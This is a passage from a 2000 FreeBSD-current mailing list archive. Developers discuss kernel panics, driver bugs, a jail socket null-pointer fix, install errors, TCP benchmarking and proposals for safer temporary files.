------=_NextPart_000_0005_01BFD493.210DD960-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 12 14:42:44 2000 Delivered-To: freebsd-current@freebsd.org Received: from Stalker.Alfacom.net (Stalker.Alfacom.net [62.244.36.7]) by hub.freebsd.org (Postfix) with ESMTP id 1660537BC97 for ; Mon, 12 Jun 2000 14:42:39 -0700 (PDT) (envelope-from vkushnir@Alfacom.net) Received: from kushnir1.kiev.ua (dup-99.alfacom.net [62.244.36.99]) by Stalker.Alfacom.net (8.9.0/8.9.0) with ESMTP id AAA21096 for ; Tue, 13 Jun 2000 00:42:32 +0300 (EEST) Received: from localhost (volodya@localhost) by kushnir1.kiev.ua (8.9.3/8.9.3) with ESMTP id AAA09305 for ; Tue, 13 Jun 2000 00:42:26 +0300 (EEST) (envelope-from volodya@kushnir1.kiev.ua) Date: Tue, 13 Jun 2000 00:42:26 +0300 (EEST) From: Vladimir Kushnir To: freebsd-current@FreeBSD.ORG Subject: Support for VideoCD & multilanguage cd9660? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello, Are there any plans to implement subj? There were a couple of patches and they still work fine (with some minor tweaking). But somehow any discussions on these features seem to have died a while ago :-( Meanwhile, they seem to be rather useful. For one, here in post-USSR countries lots of CDs are made using Russian filenames in cp866 encoding. In this respect, is there a way to concatenate "makeoptions" and/or propagate them only to some of the modules? The problem is: I've modified a wee bit Unicode patch for Joliet cd9660 (http://triaez.kaisei.org/~mzaki/joliet/ ) to build it into module, but it requires options CHARSET_{EUC_JP,KOI8_R etc} to be specified. Since we compile modules together with kernel, it would be nice to specify all the nessessary options in config file. On the other hand, some of them (like in this example) make sence only for some of the modules. Any ideas how to do that? Regards, Vladimir -- ===========================|======================= Vladimir Kushnir | vkushnir@Alfacom.net | Powered by FreeBSD kushnir@ap3.bitp.kiev.ua | To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Jun 12 22:22:35 2000 Delivered-To: freebsd-current@freebsd.org Received: from tinker.exit.com (exit-gw.power.net [207.151.46.196]) by hub.freebsd.org (Postfix) with ESMTP id 0795E37B8E2; Mon, 12 Jun 2000 22:22:19 -0700 (PDT) (envelope-from frank@exit.com) Received: from realtime.exit.com (realtime.exit.com [206.223.0.5]) by tinker.exit.com (8.9.3/8.9.3) with ESMTP id WAA73416; Mon, 12 Jun 2000 22:22:14 -0700 (PDT) (envelope-from frank@exit.com) Received: (from frank@localhost) by realtime.exit.com (8.9.3/8.9.3) id WAA12719; Mon, 12 Jun 2000 22:22:14 -0700 (PDT) (envelope-from frank) From: Frank Mayhar Message-Id: <200006130522.WAA12719@realtime.exit.com> Subject: More problems with emu10k1 driver. To: freebsd-stable@freebsd.org, cg@freebsd.org Date: Mon, 12 Jun 2000 22:22:14 -0700 (PDT) Cc: current@freebsd.org Reply-To: frank@exit.com Organization: Exit Consulting X-Copyright0: Copyright 2000 Frank Mayhar. All Rights Reserved. X-Copyright1: Permission granted for electronic reproduction as Usenet News or email only. X-Mailer: ELM [version 2.4ME+ PL68 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I tried to use it tonight, with the latest 4-stable. Well, it doesn't just silently panic any more, which is an improvement; I was able to get a core dump. I ran mpg123 to play an mp3; as soon as it tried to play the system panicked on an NMI. The dump shows the mpg123 process sleeping on "spread" down in spec_getpages(). I didn't see anything else interesting that I could interpret, but I can certainly grunge through the dump for anything that anyone else (particularly Cameron) might need. -- Frank Mayhar frank@exit.com http://www.exit.com/ Exit Consulting http://store.exit.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 13 0:43:52 2000 Delivered-To: freebsd-current@freebsd.org Received: from crucian.comset.net (crucian.comset.net [213.172.4.2]) by hub.freebsd.org (Postfix) with ESMTP id 3CCA537BA76 for ; Tue, 13 Jun 2000 00:43:47 -0700 (PDT) (envelope-from kong@comset.net) Received: from localhost (kong@localhost) by crucian.comset.net (8.9.3/8.8.7) with ESMTP id LAA07734; Tue, 13 Jun 2000 11:43:33 +0400 (MSD) Date: Tue, 13 Jun 2000 11:43:33 +0400 (MSD) From: Hostas Red To: Ian Dowse Cc: freebsd-current@freebsd.org Subject: Re: Can't make installworld :( In-Reply-To: <200006092002.aa59259@salmon.maths.tcd.ie> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi! On Fri, 9 Jun 2000, Ian Dowse wrote: > >vm/vm_object.h -> vm/vm_object.ph > >vm/vm_page.h -> vm/vm_page.ph > >vm/vm_pageout.h -> vm/vm_pageout.ph > >vm/vm_pager.h -> vm/vm_pager.ph > >vm/vm_param.h -> vm/vm_param.ph > >vm/vm_prot.h -> vm/vm_prot.ph > >vm/vm_zone.h -> vm/vm_zone.ph > >vm/vnode_pager.h -> vm/vnode_pager.ph > >*** Error code 1 > > I've seen this before. h2ph will return a non-zero exit status if it > failed to open _any_ of the files listed on the command line. This > will typically happen if you have a dangling symbolic link somewhere > in /usr/include. The error message indicating exactly which files > h2ph couldn't open will be somewhere among all the 'XX.h -> XX.ph' > messages. Yes, that helped - there were, as You noticed, lost symbolic link, and where i've removed it, everything installed fine. Thanx! Adios, /KONG ======================================================================== Hostas Red (KVK10, KVK10-RIPE) || UNiX Systems Administrator, ComSet ISP ======================================================================== To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 13 2:16: 8 2000 Delivered-To: freebsd-current@freebsd.org Received: from funkthat.com (adsl-63-195-54-213.dsl.snfc21.pacbell.net [63.195.54.213]) by hub.freebsd.org (Postfix) with ESMTP id B6BD037BAF5; Tue, 13 Jun 2000 02:15:58 -0700 (PDT) (envelope-from gurney_j@efn.org) Received: (from jmg@localhost) by funkthat.com (8.9.3/8.8.7) id CAA96596; Tue, 13 Jun 2000 02:15:58 -0700 (PDT) Message-ID: <20000613021558.43594@hydrogen.funkthat.com> Date: Tue, 13 Jun 2000 02:15:58 -0700 From: John-Mark Gurney To: freebsd-current@freebsd.org Cc: committers@freebsd.org Subject: establish tcp connection slowness Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.69 Reply-To: John-Mark Gurney Organization: Cu Networking X-Operating-System: FreeBSD 3.4-RELEASE i386 X-PGP-Fingerprint: B7 EC EF F8 AE ED A7 31 96 7A 22 B3 D8 56 36 F4 X-Files: The truth is out there X-URL: http://resnet.uoregon.edu/~gurney_j/ Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG NOTE: I'm not on -current, so if you trim committers, please cc me. I believe I have discovered a problem w/ -current... I would like more data points to see if this is a problem... when I run http://people.FreeBSD.org/~jmg/bench.py against a -current box (so far I have tested against builder and kris's -current box) I find that it has a very high time to establish the connection and return the data.. Durning this time, the box sometimes sits at 80% idle which it shouldn't be... other times it pegs the cpu, but it cycles between the two... when I run it against keichii's -stable box or my 3.4-R box I peg the cpu load at 100% used and it does not exhibt the delayed connection response... I also see that sometimes it takes 15 seconds for a connection to be established and all the data (all of 5 bytes or so) to be read off the connection)... kris has experienced that when running bench.py against his -current box, it would take several second for telnet localhost to actually connect... I run this test using a line like this in inetd.conf: nntp stream tcp nowait nobody /bin/echo echo blah you don't have to modify your /etc/inetd.conf to run it, you can simply make nobody yourself change nntp to a service like wnn6 which is >1024, stick it in somefile, and run inetd as: inetd -R 50000 somefile you need the -R to make sure that inetd doesn't rate limit the connections per minute and kill the service durning the test... I didn't see anything but a small reorder of a call to callout_reset that jlemon commited in rev 1.41 but didn't mention in the log... (unless this is part of enabling NewReno) I would appreciate to find out if someone else sees this problem, or doesn't on both -stable and -current... Thanks.... -- John-Mark Gurney Voice: +1 408 975 9651 Cu Networking "I say all sorts of useless things." -- cmc To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 13 4:12:42 2000 Delivered-To: freebsd-current@freebsd.org Received: from lucifer.bart.nl (lucifer.bart.nl [194.158.168.74]) by hub.freebsd.org (Postfix) with ESMTP id 28DDE37BA98; Tue, 13 Jun 2000 04:12:27 -0700 (PDT) (envelope-from asmodai@lucifer.bart.nl) Received: (from asmodai@localhost) by lucifer.bart.nl (8.9.3/8.9.3) id NAA40518; Tue, 13 Jun 2000 13:12:18 +0200 (CEST) (envelope-from asmodai) Date: Tue, 13 Jun 2000 13:12:18 +0200 From: Jeroen Ruigrok van der Werven To: current@freebsd.org, dillon@freebsd.org Cc: stable@freebsd.org, ps@freebsd.org, wpaul@freebsd.org Subject: Weird 4.0-STABLE problem, might be related to 5.0 as well Message-ID: <20000613131218.G37438@lucifer.bart.nl> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i Organisation: VIA Net.Works The Netherlands Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is the third time this happened to a 4.0-STABLE host of ours. The problem starts with havnig a number of processes which are unable to be killed. So we want to reboot the box. All goes well, bufdaemon and syncer stop normally. Then it gets to syncing disks done. And there it hangs. At this point only the NIC is reachable on its IP address for ping. So I break into DDB and get this from a trace: db> trace Debugger(c024c429) at Debugger+0x35 scgetc(c028cb80,2,1,c0285bc0,18) at scgetc+0x30e sckbdevent(c0285bc0,0,c028cb80,1,4) at sckbdevent+0x1b9 atkbd_intr(c0285bc0,0,c0259284,c0213202,c0285bc0) at atkbd_intr+0x22 atkbd_isa_intr(c0285bc0,40060c00,c0220010,10,c0250010) at atkbd_isa_intr+0x18 Xresume1() at Xresume1+0x2b --- interrupt, eip = 0xc0222810, esp = 0xc025927c, ebp = 0xc0259284 --- getit(c2408000,4,c02592ac,c01d6a4b,1) at getit+0x18 DELAY(1,c2408000,c2408000,c0259314,c02592f0) at DELAY+0x2a xl_mii_send(c2408000,18,5,c2408000,2,2,c2408000,1,2,c2408000) at xl_mii_send+0x5f xl_mii_readreg(c2408000,c0259314,c0259314,8,c2401400) at xl_mii_readreg+0xd0 xl_miibus_readreg(c2401400,18,0,c0259350,c0137c53) at xl_miibus_readreg+0x39 MIIBUS_READREG(c2401400,18,0,c2401000,c2404bc0) at MIIBUS_READREG+0x34 miibus_readreg(c2401000,18,0,c0259384,c01384d9) at miibus_readreg+0x1b MIIBUS_READREG(c2401000,18,0) at MIIBUS_READREG+0x34 ukphy_status(c2404b80) at ukphy_status+0x51 exphy_service(c2404b80,c2404bc0,1) at exphy_service+0xbd mii_tick(c2404bc0) at mii_tick+0x19 xl_stats_update(c2408000,40000000,0,0,ffffffff) at xl_stats_update+0xfe softclock(0,10,10,c0210010,ffffffff) at softclock+0xd1 doreti_swi() at doreti_swi+0xf Of course I thought I installed a kernel and kernel.debug, and whaddya know, the kernel.debug is only a few bytes larger than the kernel. Fsck. So now my crash dump means nada, because I get kvm problems with a newly linked kernel.debug. [sigh] So I gotta wait for the problem to occur again in a few days. I just find the doreti_swi() curious. That's why I explicitely sent this to Matthew as well. For the xl/mii stuff I cc:'d Bill Paul, and Paul Saab for general panic housekeeping. ;) Anyways, the box is a single processor box. FreeBSD ran.bart.nl 4.0-STABLE FreeBSD 4.0-STABLE #3: Fri Jun 2 12:11:21 CEST 2000 asmodai@ran.bart.nl:/usr/src/sys/compile/RAN i386 Two xl cards present. Config is nothing special: machine i386 cpu I686_CPU ident RAN maxusers 512 makeoptions DEBUG=-g #Build kernel with gdb(1) debug symbols options INET #InterNETworking #options INET6 #IPv6 communications protocols options FFS #Berkeley Fast Filesystem options FFS_ROOT #FFS usable as root device [keep this!] options MFS #Memory Filesystem options MD_ROOT #MD is a potential root device options NFS #Network Filesystem options MSDOSFS #MSDOS Filesystem options PROCFS #Process filesystem options COMPAT_43 #Compatible with BSD 4.3 [KEEP THIS!] options SCSI_DELAY=15000 #Delay (in ms) before probing SCSI options UCONSOLE #Allow users to grab the console options USERCONFIG #boot -c editor options VISUAL_USERCONFIG #visual boot -c editor options KTRACE #ktrace(1) support options SYSVSHM #SYSV-style shared memory options SYSVMSG #SYSV-style message queues options SYSVSEM #SYSV-style semaphores options P1003_1B #Posix P1003_1B real-time extensions options _KPOSIX_PRIORITY_SCHEDULING options ICMP_BANDLIM #Rate limit bad replies options TCP_DROP_SYNFIN #drop TCP packets with SYN+FIN options TCP_RESTRICT_RST #restrict emission of TCP RST options SHMMAXPGS=40960 options DDB device isa device pci # Floppy drives device fdc0 at isa? port IO_FD1 irq 6 drq 2 device fd0 at fdc0 drive 0 # SCSI Controllers device ahc # AHA2940 and onboard AIC7xxx devices # SCSI peripherals device scbus # SCSI bus (required) device da # Direct Access (disks) device sa # Sequential Access (tape etc) #device cd # CD device pass # Passthrough device (direct SCSI access) # atkbdc0 controls both the keyboard and the PS/2 mouse device atkbdc0 at isa? port IO_KBD device atkbd0 at atkbdc? irq 1 device psm0 at atkbdc? irq 12 device vga0 at isa? # syscons is the default console driver, resembling an SCO console device sc0 at isa? # Floating point support - do not disable. device npx0 at nexus? port IO_NPX irq 13 # Power management support (see LINT for more options) device apm0 at nexus? disable flags 0x20 # Advanced Power Management # Serial (COM) ports device sio0 at isa? port IO_COM1 flags 0x10 irq 4 device sio1 at isa? port IO_COM2 irq 3 # PCI Ethernet NICs. device fxp # Intel EtherExpress PRO/100B (82557, 82558) device miibus # MII bus support device xl # 3Com 3c90x (``Boomerang'', ``Cyclone'') # Pseudo devices - the number indicates how many units to allocated. pseudo-device loop # Network loopback pseudo-device ether # Ethernet support pseudo-device pty # Pseudo-ttys (telnet etc) pseudo-device md # Memory "disks" # The `bpf' pseudo-device enables the Berkeley Packet Filter. # Be aware of the administrative consequences of enabling this! #pseudo-device bpf #Berkeley packet filter yright (c) 1992-2000 The FreeBSD Project. Copyright (c) 1982, 1986, 1989, 1991, 1993 The Regents of the University of California. All rights reserved. FreeBSD 4.0-STABLE #3: Fri Jun 2 12:11:21 CEST 2000 asmodai@ran.bart.nl:/usr/src/sys/compile/RAN Timecounter "i8254" frequency 1193182 Hz CPU: Pentium III/Pentium III Xeon (601.37-MHz 686-class CPU) Origin = "GenuineIntel" Id = 0x681 Stepping = 1 Features=0x383f9ff real memory = 268423168 (262132K bytes) avail memory = 257359872 (251328K bytes) Preloaded elf kernel "kernel" at 0xc02d9000. Pentium Pro MTRR support enabled md0: Malloc disk npx0: on motherboard npx0: INT 16 interface pcib0: on motherboard pci0: on pcib0 pcib1: at device 1.0 on pci0 pci1: on pcib1 pci1: at 0.0 irq 11 isab0: at device 4.0 on pci0 isa0: on isab0 pci0: at 4.1 pci0: at 4.2 chip1: port 0xe800-0xe80f at device 4 .3 on pci0 ahc0: port 0xb000-0xb0ff mem 0xe1000000- 0xe1000fff irq 12 at device 6.0 on pci0 ahc0: aic7890/91 Wide Channel A, SCSI Id=7, 16/255 SCBs xl0: <3Com 3c905B-TX Fast Etherlink XL> port 0xa800-0xa87f mem 0xe0800000-0xe0800 07f irq 10 at device 10.0 on pci0 xl0: Ethernet address: 00:01:02:26:fb:54 miibus0: on xl0 xlphy0: <3Com internal media interface> on miibus0 xlphy0: 10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, auto xl1: <3Com 3c905B-TX Fast Etherlink XL> port 0xa400-0xa47f mem 0xe0000000-0xe0000 07f irq 11 at device 12.0 on pci0 xl1: Ethernet address: 00:01:02:28:f7:e3 miibus1: on xl1 xlphy1: <3Com internal media interface> on miibus1 xlphy1: 10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, auto fdc0: at port 0x3f0-0x3f5,0x3f7 irq 6 drq 2 on isa0 fdc0: FIFO enabled, 8 bytes threshold fd0: <1440-KB 3.5" drive> on fdc0 drive 0 atkbdc0: at port 0x60,0x64 on isa0 atkbd0: irq 1 on atkbdc0 vga0: at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0 sc0: on isa0 sc0: VGA <16 virtual consoles, flags=0x200> sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0 sio0: type 16550A sio1 at port 0x2f8-0x2ff irq 3 on isa0 sio1: type 16550A Waiting 15 seconds for SCSI devices to settle Mounting root from ufs:/dev/da0s1a da0 at ahc0 bus 0 target 0 lun 0 da0: Fixed Direct Access SCSI-2 device da0: 80.000MB/s transfers (40.000MHz, offset 15, 16bit), Tagged Queueing Enabled da0: 8683MB (17783240 512 byte sectors: 255H 63S/T 1106C) As soon as I get these problems again I'll notify you guys. I made sure kernel.debug is ok now [7 MB instead of 1.8 MB]. So this mishap should not occur. -- Jeroen Ruigrok van der Werven Network- and systemadministrator VIA Net.Works The Netherlands BSD: Technical excellence at its best http://www.via-net-works.nl Judge not, that ye be not judged... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 13 6:32:25 2000 Delivered-To: freebsd-current@freebsd.org Received: from yha.att.ne.jp (yha.att.ne.jp [165.76.88.5]) by hub.freebsd.org (Postfix) with ESMTP id 7BEC837B510 for ; Tue, 13 Jun 2000 06:32:23 -0700 (PDT) (envelope-from yone@yha.att.ne.jp) Received: from winnt.yha.att.ne.jp (36.pool0.nishitokyo.att.ne.jp [165.76.60.51]) by yha.att.ne.jp (8.8.8+Spin/3.6W-CONS(10/18/99)) id WAA15554; Tue, 13 Jun 2000 22:32:22 +0900 (JST) Message-Id: <200006131332.AA00122@winnt.yha.att.ne.jp> From: you Date: Tue, 13 Jun 2000 22:32:20 +0900 To: freebsd-current@FreeBSD.ORG MIME-Version: 1.0 X-Mailer: AL-Mail32 Version 1.11 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG auth f28c66a8 subscribe freebsd-current yone@yha.att.ne.jp To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 13 7:58:46 2000 Delivered-To: freebsd-current@freebsd.org Received: from lor.watermarkgroup.com (lor.watermarkgroup.com [207.202.73.33]) by hub.freebsd.org (Postfix) with ESMTP id 6C1A337BE8D; Tue, 13 Jun 2000 07:58:26 -0700 (PDT) (envelope-from luoqi@watermarkgroup.com) Received: (from luoqi@localhost) by lor.watermarkgroup.com (8.10.1/8.10.1) id e5DEwJb03585; Tue, 13 Jun 2000 10:58:19 -0400 (EDT) Date: Tue, 13 Jun 2000 10:58:19 -0400 (EDT) From: Luoqi Chen Message-Id: <200006131458.e5DEwJb03585@lor.watermarkgroup.com> To: current@FreeBSD.ORG, dillon@FreeBSD.ORG, jruigrok@via-net-works.nl Subject: Re: Weird 4.0-STABLE problem, might be related to 5.0 as well Cc: ps@FreeBSD.ORG, stable@FreeBSD.ORG, wpaul@FreeBSD.ORG Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > This is the third time this happened to a 4.0-STABLE host of ours. > > The problem starts with havnig a number of processes which are unable to > be killed. So we want to reboot the box. > > All goes well, bufdaemon and syncer stop normally. > > Then it gets to > > syncing disks > done. > > And there it hangs. At this point only the NIC is reachable on its IP > address for ping. > At this point the kernel is trying to unmount all filesystems, it hangs probably because it's waiting for locks those unkillable processes hold. > So I break into DDB and get this from a trace: > The trace didn't reveal anything wrong: xl is updating its status during a scheduled timeout. The best way to diagnose the problem is to work on the live system when the same symptom occurs (unkillable process), find out which channels these processes are sleeping on and why they're not waken up (hardware failure might contribute to it). A `ps axl' report would be very helpful. For those unkillable processes, you might want to report the backtrace for each, here's how to get them, # gdb -k /kernel /dev/mem (kgdb) proc (kgdb) bt -lq To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 13 7:59:37 2000 Delivered-To: freebsd-current@freebsd.org Received: from node1457.a2000.nl (node1457.a2000.nl [62.108.20.87]) by hub.freebsd.org (Postfix) with ESMTP id D31E737C0C5 for ; Tue, 13 Jun 2000 07:59:26 -0700 (PDT) (envelope-from freebsd@node1457.a2000.nl) Received: from localhost (freebsd@localhost) by node1457.a2000.nl (8.9.3/8.9.3) with SMTP id QAA08395 for ; Tue, 13 Jun 2000 16:59:30 +0200 Date: Tue, 13 Jun 2000 16:59:29 +0200 (MET DST) From: Bart Thate To: freebsd-current@freebsd.org Subject: current jail panic II Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi again ;) this patch .. http://www.FreeBSD.org/cgi/cvsweb.cgi/src/sys/kern/uipc_socket.c.diff?r1=1.72&r2=1.73 makes my kernel panic. a snippet from gdb -k .. #10 0xc01705b5 in socreate (dom=28, aso=0xca35df20, type=2, proto=0, p=0xc9959be0) at ../../kern/uipc_socket.c:138 138 if (p->p_prison && jail_socket_unixiproute_only && (kgdb) list 133 if (proto) 134 prp = pffindproto(dom, proto, type); 135 else 136 prp = pffindtype(dom, type); 137 138 if (p->p_prison && jail_socket_unixiproute_only && 139 prp->pr_domain->dom_family != PF_LOCAL && 140 prp->pr_domain->dom_family != PF_INET && 141 prp->pr_domain->dom_family != PF_ROUTE) { 142 return (EPROTONOSUPPORT); (kgdb) print prp $1 = (struct protosw *) 0x0 prp is 0x0 but is not checked upon. The check if prp ==0 is done 2 lines further on. if (prp == 0 || prp->pr_usrreqs->pru_attach == 0) return (EPROTONOSUPPORT); since both if-s return EPROTONOSUPPORT the fix is to move the prp == 0 if in front of the patches lines. Should i send-pr this? Grtx, Bart To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 13 8:41: 0 2000 Delivered-To: freebsd-current@freebsd.org Received: from lor.watermarkgroup.com (lor.watermarkgroup.com [207.202.73.33]) by hub.freebsd.org (Postfix) with ESMTP id 948F937BF30; Tue, 13 Jun 2000 08:40:48 -0700 (PDT) (envelope-from luoqi@watermarkgroup.com) Received: (from luoqi@localhost) by lor.watermarkgroup.com (8.10.1/8.10.1) id e5DFekh04320; Tue, 13 Jun 2000 11:40:47 -0400 (EDT) Date: Tue, 13 Jun 2000 11:40:47 -0400 (EDT) From: Luoqi Chen Message-Id: <200006131540.e5DFekh04320@lor.watermarkgroup.com> To: dcs@newsguy.com, msmith@FreeBSD.ORG Subject: Re: VMware detection code in boot loader Cc: current@FreeBSD.ORG, emulation@FreeBSD.ORG Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Given the way VMware works, I'd have nothing against making it a FICL > words, except... > > ...VMware is a port. For some reason, I dislike the idea of having > support targetted at exclusively one specific port. Though we have > features added specifically to deal with certain ports, they were all > more generic features. > I'm quite reluctant to add the ficl word myself. Ideally, we should not need to know which platform we're running on, be it a dell, a gateway or a software emulation like vmware. The problem is our inability to have a single kernel to boot an UP and a SMP machine, once we've solved this problem, I would remove this ficl word. I see this as a temporary solution to a specific problem, I don't want to generalize this into a larger issue. It is not the loader's job to detect the underlying hardware configuration. -lq To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 13 8:45: 5 2000 Delivered-To: freebsd-current@freebsd.org Received: from lucifer.bart.nl (lucifer.bart.nl [194.158.168.74]) by hub.freebsd.org (Postfix) with ESMTP id 5D27837B844; Tue, 13 Jun 2000 08:45:01 -0700 (PDT) (envelope-from asmodai@lucifer.bart.nl) Received: (from asmodai@localhost) by lucifer.bart.nl (8.9.3/8.9.3) id RAA47268; Tue, 13 Jun 2000 17:44:54 +0200 (CEST) (envelope-from asmodai) Date: Tue, 13 Jun 2000 17:44:54 +0200 From: Jeroen Ruigrok van der Werven To: Bart Thate Cc: freebsd-current@FreeBSD.ORG, rwatson@FreeBSD.ORG Subject: Re: current jail panic II Message-ID: <20000613174454.X37438@lucifer.bart.nl> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: ; from freebsd@1st.dudi.org on Tue, Jun 13, 2000 at 04:59:29PM +0200 Organisation: VIA Net.Works The Netherlands Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG -On [20000613 17:08], Bart Thate (freebsd@1st.dudi.org) wrote: > >prp is 0x0 but is not checked upon. The check if prp ==0 is done 2 lines >further on. > > if (prp == 0 || prp->pr_usrreqs->pru_attach == 0) > return (EPROTONOSUPPORT); > > >since both if-s return EPROTONOSUPPORT the fix is to move the prp == 0 if >in front of the patches lines. I committed a fix to CURRENT. Can you verify if this stops the panics you're seeing? Thanks, -- Jeroen Ruigrok van der Werven Network- and systemadministrator VIA Net.Works The Netherlands BSD: Technical excellence at its best http://www.via-net-works.nl Love conquers all... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 13 9:55:25 2000 Delivered-To: freebsd-current@freebsd.org Received: from spirit.jaded.net (shortbus.jaded.net [216.94.132.8]) by hub.freebsd.org (Postfix) with ESMTP id 21D2437BF8C for ; Tue, 13 Jun 2000 09:55:21 -0700 (PDT) (envelope-from dan@spirit.jaded.net) Received: (from dan@localhost) by spirit.jaded.net (8.9.3/8.9.3) id MAA00980; Tue, 13 Jun 2000 12:55:11 -0400 (EDT) (envelope-from dan) Date: Tue, 13 Jun 2000 12:55:11 -0400 From: Dan Moschuk To: "Daniel C. Sobral" Cc: David Gilbert , freebsd-current@FreeBSD.ORG Subject: Re: (thoughts on) the mktemp() patch. Message-ID: <20000613125511.C834@spirit.jaded.net> References: <14660.2642.194412.404753@trooper.velocet.net> <394537FE.9AD506CD@newsguy.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: <394537FE.9AD506CD@newsguy.com>; from dcs@newsguy.com on Tue, Jun 13, 2000 at 04:20:30AM +0900 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG | > | > Maybe the soltion is to think out of the box. Maybe temporary | > filestore should be a more official OS service. Race conditions would | > be far less common if the OS itself was managing the namespace. | > | > You might even expand the capability somewhat. Provide process local, | > uid local and global namespaces. You'd even gain the ability to | > specify the limits on temporary filestore. | | We have an out of the box solution. But there are other software out | there in the world that happens to use mktemp() and we have no control | of. So we are trying to improve mktemp(). I've avoided this conversation, but what would everyone think of a tmpfs type of solution with a security minded design? I took a brief look at phk's md driver, and it could be quite easily molded to do what I want to do. Things like a sysctl option to disallow symlinks in a tmpfs mounted directory I'm sure would make a few people happy. The downfall, for being memory backed, is it's wiped on a reboot (some people, however, consider this to be A Good Thing). -- Dan Moschuk (TFreak!dan@freebsd.org) "Don't get even -- get odd!" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Tue Jun 13 10: 2:57 2000 Delivered-To: freebsd-current@freebsd.org Received: from sabre.velocet.net (sabre.velocet.net [198.96.118.66]) by hub.freebsd.org (Postfix) with ESMTP id C718237B9BF; Tue, 13 Jun 2000 10:02:51 -0700 (PDT) (envelope-from dgilbert@office.tor.velocet.net) Received: from office.tor.velocet.net (trooper.velocet.net [216.126.82.226]) by sabre.velocet.net (Postfix) with ESMTP id 9F7D513804B; Tue, 13 Jun 2000 13:02:45 -0400 (EDT) Received: (from dgilbert@localhost) by office.tor.velocet.net (8.9.3/8.9.3) id NAA40488; Tue, 13 Jun 2000 13:02:42 -0400 (EDT) (envelope-from dgilbert) From: David Gilbert MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14662.26930.4825.366901@trooper.velocet.net> Date: Tue, 13 Jun 2000 13:02:42 -0400 (EDT) To: Dan Moschuk Cc: "Daniel C. Sobral" , David Gilbert , freebsd-current@FreeBSD.ORG Subject: Re: (thoughts on) the mktemp() patch. In-Reply-To: <20000613125511.C834@spirit.jaded.net> References: <14660.2642.194412.404753@trooper.velocet.net> <394537FE.9AD506CD@newsguy.com> <20000613125511.C834@spirit.jaded.net> X-Mailer: VM 6.75 under 20.4 "Emerald" XEmacs Lucid Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >>>>> "Dan" == Dan Moschuk writes: Dan> I've avoided this conversation, but what would everyone think of Dan> a tmpfs type of solution with a security minded design? I took a Dan> brief look at phk's md driver, and it could be quite easily Dan> molded to do what I want to do. Things like a sysctl option to Dan> disallow symlinks in a tmpfs mounted directory I'm sure would Dan> make a few people happy. The downfall, for being memory backed, Dan> is it's wiped on a reboot (some people, however, consider this to Dan> be A Good Thing). Well... if you're going Whole Hog (tm), there's likely a litany of desirable options to a secure tmpfs. The ability to create small files that never swap to disk, for instance. This would be the case where I need to create a tmp file as the result of decrypting something to view with an external viewer. The ability to specify more restritive than just user credentials to access the file ... possibly a file that can only be acessed by an open file handle or by a random filename that doesn't show up in the directory listing. There is probably a longer list, too. Dave. -- ============================================================================ |David Gilbert, Velocet Communications. | Two things can only be | |Mail: dgilbert@velocet.net | equal if and only if they | |http://www.velocet.net/~dgilbert | are precisely opposite. | =========================================================GLO================ To Unsubscribe: send mail to 